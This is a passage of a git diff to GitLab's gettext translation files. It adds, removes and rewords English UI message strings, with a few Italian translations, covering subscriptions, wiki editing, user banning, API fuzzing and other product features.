+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index a9a54cb0ed1..dee51586ef0 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:21\n"
+"PO-Revision-Date: 2021-06-01 20:40\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d livello"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "I %{group_docs_link_start}Gruppi%{group_docs_link_end} consentono di gestire e collaborare in vari progetti. I membri di un gruppo hanno accesso a tutti i suoi progetti."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Leggi di più%{link_end} sulle autorizzazioni di ruolo"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr "%{state} epici"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "Pagina profilo di %{user_name}"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' non è una sorgente di importazione"
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
